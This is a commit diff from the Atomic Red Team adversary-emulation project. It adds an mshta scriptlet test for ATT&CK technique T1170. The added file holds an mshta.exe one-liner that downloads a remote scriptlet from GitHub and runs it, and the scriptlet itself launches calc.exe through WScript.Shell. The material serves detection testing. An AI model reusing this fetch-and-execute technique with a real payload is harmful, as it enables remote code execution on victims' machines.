Merge pull request #249 from jmaas/T1170-add-payload
Make T1170 self-contained; add payload and provide working URL's.
This commit is contained in:
@@ -12,7 +12,7 @@ atomic_tests:
|
||||
file_url:
|
||||
description: location of the payload
|
||||
type: Url
|
||||
default: https://www.example.com/mshta.sct
|
||||
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1170/mshta.sct
|
||||
executor:
|
||||
name: command_prompt
|
||||
command: |
|
||||
|
||||
@@ -0,0 +1,29 @@
|
||||
<?XML version="1.0"?>
|
||||
<scriptlet>
|
||||
<!-- Test -->
|
||||
<!-- mshta.exe javascript:a=(GetObject("script:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1170/mshta.sct")).Exec();close(); -->
|
||||
|
||||
<registration
|
||||
description="Bandit"
|
||||
progid="Bandit"
|
||||
version="1.00"
|
||||
classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
|
||||
>
|
||||
|
||||
</registration>
|
||||
|
||||
<public>
|
||||
<method name="Exec"></method>
|
||||
</public>
|
||||
<script language="JScript">
|
||||
<![CDATA[
|
||||
|
||||
function Exec()
|
||||
{
|
||||
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
|
||||
}
|
||||
|
||||
]]>
|
||||
</script>
|
||||
|
||||
</scriptlet>
|
||||
Reference in New Issue
Block a user